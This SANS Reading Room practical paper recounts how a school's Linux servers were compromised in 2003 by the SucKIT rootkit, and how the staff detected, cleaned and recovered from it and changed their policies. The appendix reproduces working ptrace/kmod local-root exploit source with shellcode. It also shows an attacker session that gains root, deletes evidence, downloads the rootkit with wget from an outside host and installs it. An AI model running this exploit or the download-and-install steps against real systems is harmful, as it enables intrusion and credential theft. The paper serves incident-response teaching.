Interested in learning
more about security?

SANS Institute
InfoSec Reading Room

This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission.

Discovery, Eradication and Analysis of an attack on an open system: Welcome to the Jungle

In February 2003, the computing system of a small school in the Midwest was compromised by the installation of a root kit. My role in the incident was as the Senior Network Administrator and operations manager. Section one of this paper begins with a picture of the school, its history, and its policies regarding the use of computing and information resources. I will present the technical architecture of the system and the pre-existing security measures that were in place. Section two relates how the compromise was disc...

Copyright SANS Institute
Author Retains Full Rights

AD

Discovery, Eradication and Analysis of an attack on an open system: Welcome to the Jungle

Steve Terrell
June 17, 2003
GSEC v1.4b Practical Paper (option 2)

ABSTRACT AND INTRODUCTION

In February 2003, the computing system of a small school in the Midwest was compromised by the installation of a root kit. This break-in was made possible, at least in part, by the open nature of the system. My role in the incident was as the Senior Network Administrator and operations manager. Throughout the incident, I had primary responsibility for completion of all technical procedures, and was closely involved in decisions made in the aftermath to improve system security. Section one begins with a picture of the school, its history, and its policies regarding the use of computing and information resources. I will present the technical architecture of the system and the pre-existing security measures that were in place. Section two relates how the compromise was discovered and analyzed, and what procedures were followed to accomplish initial recovery, and to restore critical services as soon as possible. I also look at how further forensic analysis was carried out to make sure the system was as safe as possible from any immediate reoccurrences of the attack. Section two includes a brief technical analysis of the compromise itself. The appendix includes the actual code and scripts used in the exploit. The third section of this paper relates the procedures and policies that were put into effect to increase the security of the system, post-attack, and how those procedures might affect the way the system will be used in the future to conduct the business of the school.

This is not necessarily a technical paper analyzing rootkit operation. There have been many excellent papers written that perform this function, some of which are referenced later. This paper is rather intended to help others who find themselves in a similar situation to deal with an attack of this nature. It should also serve as an illustration that defense in depth can be extremely effective in reducing the possibility of a major break-in, but cannot guarantee that break-ins can be entirely prevented. The most important theme of this paper is that no matter how much protection is in place, there must be documented policies and procedures that can be followed when an incident occurs. Without this last line of 'defense', even the most secure systems will become unavailable for unacceptable periods of time.

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

Section One - BEFORE

The school (hereafter referred to as the Institute), founded in 1987, is a unique institution with a dual purpose. It exists to develop the talents of students aged 14-18 who are gifted in mathematics and science. It also operates a professional development arm, charged with creating innovative teaching programs for high school teachers and students. Funding is provided by a combination of public and private monies. The computing system has evolved over the years in response to the growing need to provide technology for the missions of the Institute. Approximately 600 students are in attendance and live on-campus. 300 faculty/staff provide educational and support services. Forward thinking administrators had the school connected to the Internet as early as 1991, and the school has had a mature web presence since 1994.

The computing system is open in nature. This not only refers to the server and operating system platforms in use, but also to the position the Institute has taken with regards to the use of the system. In keeping with the philosophy held by most higher education institutions, the school has an open stance when it comes to access to information. There are by design, very few restrictions on information students and faculty/staff can access in pursuit of educational goals, or what methods can be used to access that information. An Institute school board approved policy, called “Freedom of Access to Information and Educational Resources”, serves to define principles used in designing the information systems. This policy states that information accessed must be in keeping with the goals and mission of the Institute and places a great deal of responsibility on the community members to exercise good judgment when accessing information.

In 1998, a decision was made to convert many of the core services provided by the computing system to an ‘open’ platform. The system had previously been built around a mixture of proprietary network operating systems including Solaris, Novell and Microsoft Windows NT. The move to an open system was made for several reasons.

1. Financial advantage. Although there are costs involved other than dollars when converting any system, the savings over the long term outweigh the ongoing licensing and support costs for proprietary systems. Hardware costs are also lowered by the use of commodity server platforms.
2. An open platform offers the best way to integrate the many diverse needs of an academic community. There exists a wide range of software packages and tools which can easily be deployed and managed under an open platform.
3. Ease of system management. A single operating system allows leveraging system administrator skill sets to increase efficiency.
4. Teaching and learning opportunities. Development environments can be easily created to allow students and faculty/staff to learn new skills.

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

This is in keeping with the goal of the Institute to provide challenging real-world situations for learning.

The system currently consists of 20 Intel based servers running RedHat Linux v7.3, kernel version 2.4.18. There are still several other systems running Windows 2000 Server, Windows NT v4, and Novell versions 4.12 and 5.1. These latter systems are either in the process of being phased out or the services they provide are scheduled to be converted to Linux in the near future. The cable plant, newly installed in 1996, consists of single mode fiber for core-to-edge connectivity and Cat 5e copper for desktop and server connectivity. There are approximately 1200 ports available on-campus, including a port for each student to connect to the network from their rooms. The network infrastructure is entirely Cisco based, consisting of a variety of Catalyst switches and routers providing a minimum of 10mbs connectivity for desktops. Wireless network access is also provided on a limited basis. Core services include email, web servers, dns, dhcp, file storage, printing, LDAP directory, network switching and routing, secure shell access, desktop and server antivirus systems, calendar/scheduling system, and database systems for Human Resources, Student Information and financial systems. The two most important services provided as far as the user community is concerned, are email and the Institute web site. These are the main vehicles used to enable communication between the students, alumni, faculty, professional staff, external constituents and the public in general.

The IT group of the Institute has many policies and standards in place that govern the use and operation of the computing system. The acceptable use policy for obtaining user accounts on the system has very few statements concerning what users may not do with their accounts. Instead, the acceptable use policy stresses the need for personal responsibility concerning the use of computing system resources. Digital ethics are taught to all incoming students and staff/faculty before they receive accounts on the system. For the most part, this method is effective in controlling abuse of the system. One interesting practice of the Institute is to allow all users to keep their accounts even after leaving. While primarily developed to keep graduates in touch with the Institute and develop a rich human network, the practice also included former staff, faculty and guests. Besides presenting a significant maintenance task, this practice led to a large number of unused and unneeded accounts, each with the potential for abuse.

On the technical side, procedures and guidelines such as regular system preventative maintenance, tape backup/storage, system redundancy and failover, disaster recovery documents and system documentation templates serve the operational needs of the system. These documents and procedures were in a continual state of review and revision in order to keep them effective in safeguarding data and services. Several security instruments and procedures were utilized prior to the break in to safeguard the system. Tripwire was used to keep track of the changes being made to the operating system files. Reports

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

were reviewed daily to detect changes. Syslogd was used to record system activity on a per host basis. System log files were audited regularly during monthly preventative maintenance. A packet filtering firewall was used on the Internet facing router to prevent basic attacks such as ip spoofing, directed broadcasts, commonly abused ports, and well known attacks. All servers were protected at the firewall by allowing only those ports that were necessary for specific services to function. However, **all other hosts on the campus were effectively completely open to the Internet**. This is in keeping with the open system philosophy. Incoming email was scanned by Central Command Vexira MailArmor for Linux for virus infected attachments. All servers were protected from virus infection by on-access file scanning and regularly scheduled scans by virus detection software such as Central Command Vexira AntiVirus for Linux and Symantec AntiVirus Corporate Edition. Institute owned desktops were protected by Symantec AntiVirus. Students were required to run virus detection software on their computers, but there was no effective way to enforce this policy. All servers and infrastructure equipment were protected from unauthorized access by strong physical security measures.

As in many IT operations today, one major shortcoming existed in system operation. There were too few staff members to effectively maintain the system in an efficient and secure manner. Many single points of failure existed because there were too many tasks and too few 'hands and feet' to accomplish them. While system uptime approached the 98% range, security related incidents and system failures usually resulted in longer than acceptable outages and put a severe strain on the human resources.

As you can see from the above history and description of the Institute computing system, even with 'adequate' and reasonable security measures in place, the open nature of the system made it vulnerable to a variety of compromises. There had been several small incidents in the past that were easily and quickly fixed, but no major incidents had occurred.

Section Two - DURING

A brief history of rootkits

> "A rootkit is a collection of tools (programs) that a hacker uses to mask intrusion and obtain administrator-level access to a computer or computer network. The intruder installs a rootkit on a computer after first obtaining user-level access, either by exploiting a known vulnerability or cracking a password. The rootkit then collects userids and passwords to other machines on the network, thus giving the hacker root or privileged access.
>
> "A rootkit may consist of utilities that also: monitor traffic and keystrokes; create a 'backdoor' into the system for the hacker's use; alter log files;

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

attack other machines on the network; and alter existing system tools to circumvent detection.

> "The presence of a rootkit on a network was first documented in the early 90s. At that time Sun and Linux operating systems were the primary targets for a hacker looking to install a rootkit. Today, rootkits are available for a number of operating systems and are increasingly difficult to detect on any network." (http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci547279,00.html)

The first commonly seen rootkit for Linux systems, the T0rn rootkit, appeared around August of 2000. It replaced a number of system binaries (ps, ls, netstat, find, login, etc.) with trojaned versions. It had the ability to capture usernames and passwords and record these in a sniffer log file for later harvesting by the attacker. It also included a script to clean evidence from system logfiles. Since T0rn, there have been many rootkits released for various operating systems. A partial list can be seen at the chkrootkit website (http://www.chkrootkit.org). They all have the same basic goal: to install backdoor compromises, gain root level access, and to capture usernames and passwords for later use.

More recently, a new breed of rootkit has emerged. Called LKM (Linux Kernel Module) rootkits, they are more complicated and use methods that make them much harder to detect. As early as January of 1998, papers were being written and published describing methods to weaken the Linux kernel and install exploits into the running system in real time through the use of loadable modules. One such paper can be seen in issue #52 of the on-line magazine, Phrack. (http://www.phrack.org/show.php?p=52&a=18). A paper written in November of 1998 by Silvio Cesare titled "Runtime Kernel Kmem Patching" includes an analysis of patching the kernel on-the-fly as well as sample code (http://reactor-core.org/runtime-kernel-patching).

These exploits depend on the ability to install modules into the running kernel, and allow 'lies' to be told to the user about the state of the system on returns from binaries such as ls, ps, netstat, etc. System calls are re-vectored to the rootkit code. One of the first of these, the Knark rootkit, was analyzed in March of 2001 by Toby Miller. (http://www.securityfocus.com/guest/4871) The detection methods for these exploits typically rely on comparing the kernel symbol map created at compile time (/boot/System.map), with the map installed at run time (/proc/ksyms).

In an article written in the April 2003 issue of ;login:, titled "ups and downs of UNIX/LINUX host-based security solutions", Anton Chuvakin describes the ADORE LKM rootkit as an example of an attack against integrity checkers such as Tripwire and AIDE. "Adore LKM is a kernel-level backdoor for Linux and FreeBSD, featuring file, process, and connection hiding. Adore remaps fork(),

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

write(), open(), stat() (=get file information), close(), clone() (=like fork()), kill(), mkdir(), and getdents() (=get directory entries) system calls."

Several LKM rootkits are described at Samhain Labs website (http://www.la-samhna.de/library/rootkits/index.html).

The SucKIT rootkit (originally from sd.is.agent.fbi.cz/suckit – NOTE: this link is not live) appeared in the wild around September of 2002. It does not depend on loadable kernel module support and uses a private copy of the runtime kernel symbol map to avoid detection. A paper concerning this rootkit was published in September of 2001 in issue #58 of Phrack (http://www.phrack.org/show.php?p=58&a=7). It is this rootkit that was detected on the systems at the Institute in early February of 2003.

The rootkit compromise was first detected on a system that provides file storage and shell access to students and alumni of the Institute. Anomalies in tripwire reports were seen, indicating changes had been made to /sbin/init and /sbin/telinit. Because of oversights by the IT staff, these anomalies went unnoticed for several days. During this period, the normally stable system began experiencing kernel oops (dumps) that indicated problems running both user and system processes. Users reported a large number of segfaulted processes. This problem was first thought to be a kernel bug, and analysis focused on this. The "bug" was reported to linux.kernel.org with debugged output. Further analysis finally led back to the tripwire anomalies. It was noticed that the normal symbolic link from /sbin/telinit to /sbin/init was in fact a hard link. Removing the hard link exposed a trojaned version of /sbin/init that was the basis of the rootkit. (NOTE: It is a common tactic of rootkit exploits to install a trojaned version of the init binary. This allows the compromise to be installed at boot time, as init is one of the first processes run at startup, and is the parent of all other processes. Using /sbin/init to install the rootkit ensures that it will run early in the boot process and gain control before any abnormalities can be detected. Obscuring the trojaned init under a hard link also makes detection using normal methods difficult.) Running the 'strings' command on this binary revealed useful information about the environment used by the rootkit, and command line switches available to unhide files and processes. (This output is included in the appendix.) This information also showed the location of the sniffer file used by the rootkit to capture usernames and passwords. This log indicated that other Institute systems had been compromised over a period of two days. In all, ten compromised systems were discovered. These initial discoveries led to the decision to take all infected systems off the network and to disconnect all student owned machines from the network. The reason for the latter decision will become apparent later. These actions were followed by immediate notification of the Institute's Chief Information Officer as to the state of the system. Within approximately one hour, the CIO and other Cabinet level management announced to the community that the system was unavailable and that normal operations would be suspended until further notice – painful but necessary. Most core services, including email, web

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

serving, file and print services, dns, etc., were unavailable. The Institute was basically ‘off the net’ and out of business as far as access to computing resources was concerned. An incident response team consisting of the CIO, Senior Network Administrator and the team leader from the software development group was formed to deal with the attack. This last member of the team, while not normally involved in system operations, was added because of his knowledge of Linux systems. The CIO was responsible for interacting with other senior level management and the rest of the community and reporting on the ongoing state of the system. The Senior Network Admin and software development team leader were responsible for immediate cleaning and forensic analysis. Detailed analysis began, with the goal of deciding on a course of action to get the systems up and running as quickly as possible. The formation of the response team, and division of duties, was valuable in this regard. The methodology used in the incident response was basically that of the Six Step process as outlined in the GIAC GSEC course material (Sans Security Essentials II: Network Security Overview, 4-11.). These steps are Preparation, Identification, Containment, Eradication, Recovery and Follow-up.

The initial analysis of the rootkit compromise was done on a system that had been primarily used for development work. This was done in case the analysis and cleaning process might destroy parts of the system or evidence that might be needed later. This system was booted from a clean distribution cd-rom and brought up in single user mode. In addition to the changes made to /sbin/init and /sbin/telinit, a close look at tripwire reports showed that the permissions on /dev/mem and /dev/kmem had been changed from the normal 644 to 777. This is what allowed the running kernel to be modified on-the-fly. By looking at the strings contained in the trojaned /sbin/init, the rootkit’s home directory, called /etc/.bmbl, was found. It contained the sk binary, a log cleaning tool called logclean, and the sniffer’s log file, .sniffer. With the trojan init running, the /etc/.bmbl directory could not been seen with the ls command, and the process was hidden from the view of ‘ps’. Inspection of the sniffer log showed that usernames and password for outgoing connections had been captured. This is an important point, as it led to the conclusion that incoming connections had not been sniffed. This was verified later in lab tests.

The hard drive from this machine was kept intact in order to serve as a reference, as well as to preserve evidence should it become necessary in the future to provide proof in the event legal action would be taken. The drive was removed from the machine and locked in safe storage. This initial assessment took about two hours to complete.

The recommended procedure to recover from a compromise of this severity is to re-install the operating systems from known good media. This is the only way that a known good system can be put into operation. Because the services the system provided to the school were vital to operation, especially email services, it was decided that the machines that provided core services would be cleaned

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

using a variety of methods, and put back on-line as soon as the response team felt safe doing so. After cleaning the rootkit off all systems, the forensic analysis and cleaning consisted of using a painstaking manual combing of the file systems after booting the systems from cd-rom using clean kernels, and the use of several tools to assess damage and the presence of any other problems. The 'rpm –verify' command was used to look closely at installed packages. Tripwire was run manually to further verify the integrity of all system binaries. The chkrootkit tool, available from http://www.chkrootkit.org was used to verify that the systems were free from any other known rootkits. Version 0.39a of the chkrootkit tool claims to be able to identify the presence of the SucKIT rootkit, however it seemed to only indirectly indicate the presence of SucKIT by segfaulting on an infected machine and reporting no problems on a cleaned machine - an indirect proof to be sure. The systems to be brought up immediately to get the schools email and web servers operational were scanned with the CIS (Center for Internet Security) Linux level 1 benchmark (http://www.cisecurity.org/bench_linux.html) security tool to compare them to known good standards. The systems were also scanned with nmap and Nessus to detect the presence of any further known problems. A new kernel in the 2.4.20 tree was compiled from a hardened configuration file, and installed to eliminate the original vulnerability used to gain root access. (This vulnerability was later revealed to be a kernel bug involving the ptrace() system call and is explained in detail later.) At this point, the email, web, dns and directory services were turned on. With these services up and running, the Institute was able to return to normal use of the computing system to conduct its primary business. The total downtime thus far was about 8 hours.

The incident response team then contacted security experts from an outside firm to see if the procedures followed, conclusions reached, and immediate future directions were sound. Although they agreed that the safest thing to do would be to rebuild all systems from scratch, they confirmed that the approach taken so far, while not 'best practice', was at least common practice. The systems would be safe running in a 'thought good' mode as long as they were watched closely. They advised rebuilding the systems as soon as possible to get back to a 'known good' state.

Next steps consisted of cleaning and analyzing the remaining servers, recovering all usernames, passwords and names of outside systems from the sniffer logs, installing the new kernel and bringing other services up as necessary. System administrators of organizations outside the school were notified of the possibility that their systems had been or could be compromised. The systems were mostly those of colleges to which alumni of the Institute had connected from compromised servers. This fact underscored the somewhat careless and promiscuous use of Institute computing resources and demonstrated the need to impose changes in how they were used. In all cases, the administrators of the remote systems expressed gratitude at being informed that they had a potential problem. They all took appropriate action to detect possible compromises of their

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

systems and have their users change passwords to avoid possible problems. Those that asked for technical details were given the information needed to look for the presence of the root kit and instructions on how to remove it if necessary. Incident reports were also filed with CERT and CIAC. This was not done in order to try to catch the attacker, but to allow them to compare what happened at the school with other such incidents, and take further action to warn the Internet community if necessary.

Throughout the initial response period, several useful Internet sites were consulted regularly. These include SANS, CERT, the ISC (Internet Storm Center), RedHat errata website and LinuxSecurity.com. These are valuable resources in dealing with any compromise as they contain a large store of useful information and procedures to follow. It was extremely helpful and reassuring to have these sources available.

Approximately 40 man-hours were spent in this initial phase of recovery and investigation. For the most part, the system was back on-line providing the core services necessary for operations. However, there was still a large amount of work to be done to get all services back in operation, and to improve the overall future security of the system. To do this would require the work of many people outside of the IT group who would be able to understand the impact of the attack, and how the system would have to change to prevent other such attacks in the future.

Section Three - AFTER

Over the next few days, several measures were taken to immediately improve the security of the Institute's servers. The policy files used by Tripwire were rewritten completely to expand the areas being watched and log more of the file systems at higher severity levels. More man-hours were dedicated on a daily basis to auditing tripwire reports and system log files. A secure log server was implemented to provide a central logging facility. Firewall rules were reviewed and rewritten to improve security for servers, staff desktop systems and publicly available lab computers. A DMZ was implemented to move non-core services to an isolated network environment. Shell access for the few staff and faculty that used it, was made available only on a 'need to have' basis. The timely application of vendor released security patches was given a much higher priority. The system administration team was previously subscribed to several security related mailing lists (CERT, Bugtraq), and the daily review of these lists was also given a very high priority. The Linuxsecurity website and RedHat Linux security websites were also checked on a daily basis for patches and updates to the operating systems. A policy to enforce strong passwords for all users had been in development before the compromise occurred, and the completion and implementation of this policy was put on a fast track. While users had always been educated and encouraged to use strong passwords, there was no technical enforcement to make sure they were. This new policy not only includes

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

mandatory strong passwords, but the use of crack (ftp://ftp.cerias.purdue.edu/pub/tools/unix/pwdutils/crack) on a regular basis to discover any weak passwords still in use.

Further enhancements to improve the security of the systems are being investigated and will be implemented in the near future. These include the StJude kernel module to detect the installation of possible malicious kernel modules (http://sourceforge.net/projects/stjude), the Samhain daemon integrity checker (http://www.la-samhna.de/samhain) and the use of the lids (Linux Intrusion Detection System) kernel patch from http://www.lids.org. To quote from the lids FAQ, "LIDS is an enhancement for the Linux kernel written by Xie Huagang and Philippe Biondi. It implements several security features that are not in the Linux kernel natively. Some of these include: mandatory access controls (MAC), a port scan detector, file protection (even from root), and process protection." (http://www.lids.org/lids-faq/lids-faq.html)

Perhaps the most valuable immediate after-effect was the scheduling of a series of management level meetings to review and amend the policies and practices in place for the use of the Institute's computing system. These meetings led to changes that not only had an effect on the system security, but also to how the system was used in conducting the school's business.

Because the main objective of the exploit was to capture usernames and passwords, and because it was not known if the attacker had actually been harvesting the sniffer logs, a decision was made to force a password change for all active accounts on the system. This was not an easy decision to make, as it would have a major impact on the use of the system, both by on-campus and off-campus users. All users were given a three day period to change passwords, after which time accounts were locked. Changing the passwords of the on-campus community of 900 or so users was a relatively easy task, as notices could be distributed via hard copy memos and public announcements at meetings of the various campus groups. Those who had their accounts locked were fairly easy to service by enabling a simple password changing script usable by anyone in the IT group. The approximately 2500 off-campus users presented a much more difficult task. The nature of the use of the system by these users, most of whom only logged in infrequently to check email, made it extremely difficult to get the message out concerning password changes. The result was that the majority of accounts for these users were locked. A tremendous strain was put on the helpdesk system as hundreds of users called and sent email to find out why they could no longer access their accounts. A further problem existed in that there was no reliable way to verify the identity of these users. A satisfactory solution was implemented by enlisting the help of several technically capable alumni of the Institute, to work as contact points for their classmates. Using the informal network that existed among the alumni community, and notification via a regular hardcopy newsletter, alums were given instructions on contacting the particular person enabled to make password changes for them.

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

Although slow and cumbersome, this solution represented the most secure method for making the hundreds of password changes for the off-campus users.

Several services, which previously operated in the core group, were not reinstated immediately. Shell access for students and alumni of the Institute, was not re-enabled. Student owned computers also were not allowed back on the network. These services represented the most likely attack vector for the compromise, and until changes were made in the policies and procedures for these services, they were not allowed. It was this action that drove the most important changes made to the system to improve security.

As was stated earlier, the systems were regularly kept up to date with security patches and measures in place to detect problems. No remote vulnerabilities were known to exist so the most likely attack vector was thought to be through access by a local shell user. This is not to say that an on-campus user was responsible, but with approximately 2500 active shell users, both on and off-campus, the potential for a local compromise was high. A single compromised account or student owned computer, could give an attacker the necessary access. The systems were running a kernel version that contained a vulnerability to a ptrace exploit that could allow an attacker to gain root access. This vulnerability was first demonstrated in January of 2003 by Wojciech Purczynski. His code can be seen at http://packetstorm.troop218.org/filedesc/ptrace-kmod.c.html. (It is interesting to note that RedHat did not publish a patch for this exploit until March. The SecurityFocus BugTraq mailing list also did not publish anything about the vulnerability until mid-March, when Andrezej Szombierski posted an alert on March 19, 2003 (http://www.securityfocus.com/archive/1/315635). The kernel patch seems to have been first published by Alan Cox on the Neohapsis vulnerabilities list on March 17, 2003. This can be seen at http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0134.html. The vulnerability has been designated CAN-2003-0127 in the Common Vulnerabilities and Exploits (CVE) database.) (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127) In fact, on one of the compromised systems, the hacker left behind evidence that this was the exact exploit used to gain root access. After getting a root shell, the script downloads a copy of the rootkit via wget from klan.carder.com/sk13who (no longer a valid web address), installs the trojan init, cleans evidence from logfiles and begins harvesting usernames and passwords. The exploit code and script are included in the appendix. The operation of the exploit was verified in a lab setting.

The disabling of shell access, and access to the system from student-owned computers, caused a significant disruption for students living on-campus, and for the many off-campus users of the system. Although there is no requirement for students to have their own computer on-campus, approximately 90% of students do have computers in their rooms. They depend on them for doing their schoolwork and as a necessary tool for communication via email and instant

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

messaging. The student owned computers also serve as a significant recreational resource. This is allowed, and encouraged, as a part of the students' residential experience. Not having these resources available created a large amount of pressure on the school administration to solve the security problems such access created and get things up and running in a safe manner as quickly as possible.

A series of meetings was held to review the Institute's policies concerning student access to the Internet from their personal computers, access to the system by alumni, and the practice of allowing all people associated with the Institute in any way, to retain their account privileges after leaving. The work load of the IT staff as it related to safe system operation was also taken into consideration.

A difficulty to be overcome in these meetings was how to communicate the problem to a group of non-technical people. In order to make the right decisions, this group had to understand the implications and risks involved in returning to the status quo. It was effective to talk about how much computing systems and the Internet had changed since the Institute began using technology. All agreed that the policies covering use of technology should be re-thought to address these changes. What was sufficient and safe in the past was no longer valid in the present. It was also very effective to use the analogy of a house being broken into and the ensuing lack of confidence in the integrity of personal property, even if there is no direct evidence of loss or harm. This analogy brought home the fear, uncertainty and doubt that can occur during and after an attack of this nature. The group was able to make several decisions based on the information they were given, even though some of it was technically beyond their understanding. The system would no longer offer unlimited access to powerful computing environments for alumni. The only services offered would be those necessary for alumni to stay in communication with the Institute, its faculty, students and other alums. This allowed the IT group to greatly simplify the systems used by alumni and therefore increase security. These systems were placed on the newly created DMZ network where they could be isolated from internal servers. Shell access was made available for incoming connections only and allowed access to email and a threaded asynchronous bulletin board type system used heavily by the alumni. This same shell server was made available to current students thus maintaining the network of current students and alumni. The policy review group decided rather easily that the practice of allowing former staff and faculty to retain their accounts after leaving the Institute served no purpose and would be discontinued. Accounts are now maintained only for those people who are directly involved in the work of the Institute.

This group was able to clearly see the need to allocate resources to improve the security of the system. With the monies allocated, the Institute was able to purchase a Cisco PIX stateful firewall device to better manage the new firewall rules that had been developed. Funds were also allocated to purchase the

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

necessary server hardware to accommodate the separation of services. The management group also recognized the need to expand the IT staff to improve operations. Of course, recognizing the need and being able to do something about are two different things, but a step in the right direction was taken.

The problem of the use of student owned computers on the network was more difficult to address and presented a problem still being worked on. The decision to disconnect student owned systems from the network was upheld until policies and procedures could be worked out to improve security. A second group was formed consisting of IT and administrative personnel as well as representatives from the student body. The task of this group would be to decide where the balance point between security and usability lies. It would be easy to simply say that access to the system and Internet for student owned computers would remain in a 'deny all, permit some' model, but that would, by design, severely limit the opportunities for learning and discovery that are at the heart of the Institute's philosophy. Students were allowed to re-connect to the network after installing a mandatory managed version of the Norton Antivirus software. Use of the Internet was restricted to a very narrow set of services such as web-browsing and some instant messaging. Incoming connections to student owned computers were completely disallowed. This is obviously the polar opposite of how student owned machine were allowed to operate in the past. The final configuration of access for student owned computers will lie somewhere between these two extremes. The important point here is that there is a group now actively trying to discover this solution.

CONCLUSION

It would be impossible to say that there was anything enjoyable about this incident, but there were some definite positives that came out of it. The incident tested the security measures in place and also the procedures and policies covering system operation and security. It allowed IT personnel to show preparedness for incident response. It forced a review of enterprise level policies and resulted in changes that will allow the continued growth of this innovative learning institution, while at the same time improving overall system security. A commitment was demonstrated by upper level management to improve security and allocate the necessary resources to do so. Improvements and changes were made to the system that will be beneficial now and in the future. Although this attack was particularly dangerous and had the potential to cause a great deal of harm, anything less than an attack of this seriousness may not have had the same ultimate outcome. The system is now stronger and will remain so in the future.

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

APPENDIX

Source code for the ptrace exploit used to gain root access. This code was downloaded from http://packetstorm.troop218.org/filedesc/ptrace-kmod.c.html and is reproduced in its original form.

```
/*

 * Linux kernel ptrace/kmod local root exploit

 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
        "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
        "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
        "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
        "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
        perror(msg);
        kill(parent, SIGKILL);
        kill(child, SIGKILL);
        kill(victim, SIGKILL);
}
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
void putcode(unsigned long * dst)
{
        char buf[MAXPATHLEN + CODE_SIZE];
        unsigned long * src;
        int i, len;

        memcpy(buf, cliphcode, CODE_SIZE);
        len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN -
1);
        if (len == -1)
                fatal("[-] Unable to read /proc/self/exe");

        len += CODE_SIZE + 1;
        buf[len] = '\0';

        src = (unsigned long*) buf;
        for (i = 0; i < len; i += 4)
                if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1

                        fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
        struct user_regs_struct regs;

        if (gotchild++ == 0)
                return;

        fprintf(stderr, "[+] Signal caught\n");

        if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
                fatal("[-] Unable to read registers");

        fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n",
regs.eip);

        putcode((unsigned long *)regs.eip);

        fprintf(stderr, "[+] Now wait for suid shell...\n");

        if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
                fatal("[-] Unable to detach from victim");

        exit(0);
}

void sigalrm(int signo)
{
        errno = ECANCELED;
        fatal("[-] Fatal error");
}

void do_child(void)
{
        int err;

        child = getpid();
        victim = child + 1;

        signal(SIGCHLD, sigchld);

        do
                err = ptrace(PTRACE_ATTACH, victim, 0, 0);
        while (err == -1 && errno == ESRCH);

        if (err == -1)
                fatal("[-] Unable to attach");

        fprintf(stderr, "[+] Attached to %d\n", victim);
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
        while (!gotchild) ;
        if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
                fatal("[-] Unable to setup syscall trace");
        fprintf(stderr, "[+] Waiting for signal\n");

        for(;;);
}

void do_parent(char * progname)
{
        struct stat st;
        int err;
        errno = 0;
        socket(AF_SECURITY, SOCK_STREAM, 1);
        do {
                err = stat(progname, &st);
        } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

        if (err == -1)
                fatal("[-] Unable to stat myself");

        alarm(0);
        system(progname);
}

void prepare(void)
{
        if (geteuid() == 0) {
                initgroups("root", 0);
                setgid(0);
                setuid(0);
                execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
                fatal("[-] Unable to spawn shell");
        }
}

int main(int argc, char ** argv)
{
        prepare();
        signal(SIGALRM, sigalrm);
        alarm(10);

        parent = getpid();
        child = fork();
        victim = child + 1;

        if (child == -1)
                fatal("[-] Unable to fork");

        if (child == 0)
                do_child();
        else
                do_parent(argv[0]);

        return 0;
}
```

Output from script run to gain root shell and download rootkit exploit.

```
[tmp]$ gcc -o pt pt.c
[tmp]$ ./pt
[+] Attached to 6446
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...

sh-2.05a# rm -rf pt.c pt
sh-2.05a# wget klan.carder.com/sk13who
--14:54:42--  http://klan.carder.com/sk13who
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
           => `sk13who'
Resolving klan.carder.com... done.
Connecting to klan.carder.com[64.15.175.5]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57,107 [text/plain]

 0% [
                        ] 0             --.--K/s    ETA --:--27%
[==========================>
] 15,638        72.04K/s    ETA 00:00
75%
[=====================================================================>
] 43,150        96.43K/s    ETA 00:00
100%[=================================================================================
==============>]
57,107       123.38K/s    ETA 00:00

14:54:43 (123.38 KB/s) - `sk13who' saved [57107/57107]

sh-2.05a# chmod +x sk13who
sh-2.05a# ./sk13who
Your home is /etc/.bmbl, go there and type ./sk to install
us into memory. Have fun!
sh-2.05a# rm -rf sk13who
